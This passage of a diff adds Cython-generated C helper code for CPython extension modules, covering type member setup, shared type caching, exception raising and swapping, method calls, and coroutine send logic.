0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = 